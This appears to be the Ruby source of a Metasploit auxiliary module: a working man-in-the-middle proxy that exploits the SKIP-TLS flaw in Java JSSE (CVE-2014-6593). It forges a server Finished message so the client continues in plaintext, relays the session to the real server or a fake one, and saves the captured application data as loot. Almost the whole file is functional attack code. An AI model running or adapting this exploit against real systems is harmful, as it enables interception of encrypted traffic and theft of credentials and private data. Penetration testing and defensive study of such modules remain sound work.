271 lines
8.9 KiB
Ruby
271 lines
8.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'openssl'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Report
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def initialize
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super(
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'Name' => 'Java Secure Socket Extension (JSSE) SKIP-TLS MITM Proxy',
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'Description' => %q{
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This module exploits an incomplete internal state distinction in Java Secure
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Socket Extension (JSSE) by impersonating the server and finishing the
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handshake before the peers have authenticated themselves and instantiated
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negotiated security parameters, resulting in a plaintext SSL/TLS session
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with the client. This plaintext SSL/TLS session is then proxied to the
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server using a second SSL/TLS session from the proxy to the server (or an
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alternate fake server) allowing the session to continue normally and
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plaintext application data transmitted between the peers to be saved. This
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module requires an active man-in-the-middle attack.
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},
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'Author' =>
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[
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'Ramon de C Valle'
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],
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'License' => MSF_LICENSE,
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'Actions' =>
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[
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[ 'Service', 'Description' => 'Run MITM proxy' ]
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],
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'PassiveActions' =>
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[
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'Service'
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],
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'DefaultAction' => 'Service',
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'References' => [
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['CVE', '2014-6593'],
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['CWE', '372'],
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['URL', 'https://www.smacktls.com/#skip'],
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['URL', 'https://www.smacktls.com/smack.pdf'],
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['URL', 'http://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html'],
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['URL', 'https://www-304.ibm.com/support/docview.wss?uid=swg21695474']
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],
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'DisclosureDate' => 'Jan 20 2015'
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)
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register_options(
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[
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OptString.new('FAKEHOST', [ false, 'The fake server address', nil]),
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OptString.new('FAKEPORT', [ false, 'The fake server port', 443]),
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OptString.new('HOST', [ true, 'The server address', nil]),
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OptPort.new('PORT', [ true, 'The server port', 443]),
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OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']),
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OptString.new('SRVPORT', [ true, 'The proxy port', 443])
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])
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end
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def cleanup
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super
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return unless @proxy
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begin
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@proxy.deref if @proxy.kind_of?(Rex::Service)
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if @proxy.kind_of?(Rex::Socket)
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@proxy.close
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@proxy.stop
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end
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@proxy = nil
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rescue ::Exception
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end
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end
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def prf(secret, label, seed)
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if secret.empty?
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s1 = s2 = ''
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else
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length = ((secret.length * 1.0) / 2).ceil
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s1 = secret[0..(length - 1)]
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s2 = secret[(length - 1)..(secret.length - 1)]
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end
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hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, label + seed)
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hmac_sha = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, label + seed)
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hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, hmac_md5 + label + seed)
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hmac_sha = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, hmac_sha + label + seed)
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result = ''
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[hmac_md5.length, hmac_sha.length].max.times { |i| result << [(hmac_md5.getbyte(i) || 0) ^ (hmac_sha.getbyte(i) || 0)].pack('C') }
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result
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end
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def prf_sha256(secret, label, seed)
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hmac_hash = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, label + seed)
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OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, hmac_hash + label + seed)
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end
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def run
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fake_host = datastore['FAKEHOST'] || datastore['HOST']
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fake_port = datastore['FAKEPORT'] || datastore['PORT']
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host = datastore['HOST']
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local_host = datastore['SRVHOST']
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local_port = datastore['SRVPORT']
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port = datastore['PORT']
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@proxy = Rex::Socket::TcpServer.create(
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'LocalHost' => local_host,
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'LocalPort' => local_port,
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'Context' => {
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'Msf' => framework,
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'MsfExploit' => self
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}
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)
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print_status('Listening on %s:%d' % [local_host, local_port])
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thread_num = 0
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loop do
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framework.threads.spawn("Thread #{thread_num += 1}", false, @proxy.accept) do |client|
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add_socket(client)
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finished_sent = false
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handshake_messages = ''
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application_data = ''
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print_status('Accepted connection from %s:%d' % [client.peerhost, client.peerport])
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fake_server = Rex::Socket::Tcp.create(
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'PeerHost' => fake_host,
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'PeerPort' => fake_port,
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'SSL' => true,
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'SSLVerifyMode' => 'NONE',
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'Context' =>
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{
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'Msf' => framework,
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'MsfExploit' => self
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})
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add_socket(fake_server)
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print_status('Connected to %s:%d' % [fake_host, fake_port])
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server = Rex::Socket::Tcp.create(
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'PeerHost' => host,
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'PeerPort' => port,
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'Context' =>
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{
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'Msf' => framework,
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'MsfExploit' => self
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})
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add_socket(server)
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print_status('Connected to %s:%d' % [host, port])
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version = nil
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begin
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loop do
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readable, _, _ = Rex::ThreadSafe.select([client, server])
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readable.each do |r|
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case r
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when fake_server
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# The fake_server (i.e., server) is an SSL socket; Read
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# application data directly.
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header = ''
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fragment = r.get_once(4096)
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else
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header = r.get_once(5)
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raise EOFError if header.nil?
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fragment_length = header[3, 2].unpack('n')[0]
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fragment = ''
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while fragment_length > 0
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partial_fragment = r.get_once(fragment_length)
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fragment << partial_fragment
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fragment_length = fragment_length - partial_fragment.length
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end
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end
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print_status('%d bytes received' % [header.length + fragment.length])
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# Drop the server hello done message and send the finished
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# message in plaintext.
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if fragment =~ /^\x0e\x00\x00\x00/
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if header[2, 1] == "\x03"
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verify_data = prf_sha256('', 'server finished', OpenSSL::Digest::SHA256.digest(handshake_messages))
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verify_data = verify_data[0, 12]
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else
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verify_data = prf('', 'server finished', OpenSSL::Digest::MD5.digest(handshake_messages) + OpenSSL::Digest::SHA1.digest(handshake_messages))
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verify_data = verify_data[0, 12]
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end
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finished = "\x14#{[verify_data.length].pack('N')[1, 3]}#{verify_data}"
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record = header[0, 3] + [finished.length].pack('n') + finished
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count = client.put(record)
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print_status('%d bytes sent' % [count])
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finished_sent = true
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# Change to the SSL socket connected to the same server or
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# to an alternate fake server.
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server.close
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server = fake_server
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# Save version used in the handshake
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version = header[2, 1]
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next
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else
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# Save handshake messages
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handshake_messages << fragment
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end unless finished_sent
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# Save application data
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application_data << fragment if finished_sent
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case r
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when client
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if finished_sent
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# The server (i.e., fake_server) is an SSL socket
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count = server.put(fragment)
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else
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# The server isn't an SSL socket
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count = server.put(header + fragment)
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end
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print_status('%d bytes sent' % [count])
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when fake_server
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# The client isn't an SSL socket; Add the record layer header
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# with the same version used in the handshake.
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header = "\x17\x03#{version}" + [fragment.length].pack('n')
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record = header + fragment
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count = client.put(record)
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print_status('%d bytes sent' % [count])
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when server
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record = header + fragment
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count = client.put(record)
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print_status('%d bytes sent' % [count])
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end
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end
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end
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rescue EOFError, Errno::ECONNRESET
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path = store_loot(
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'tls.application_data',
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'application/octet-stream',
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client.peerhost,
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application_data,
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'application_data',
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'TLS session application data'
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)
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print_good("SSL/TLS session application data successfully stored in #{path}")
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client.close
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fake_server.close
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server.close
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next
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end
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client.close
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fake_server.close
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server.close
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end
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end
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end
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end
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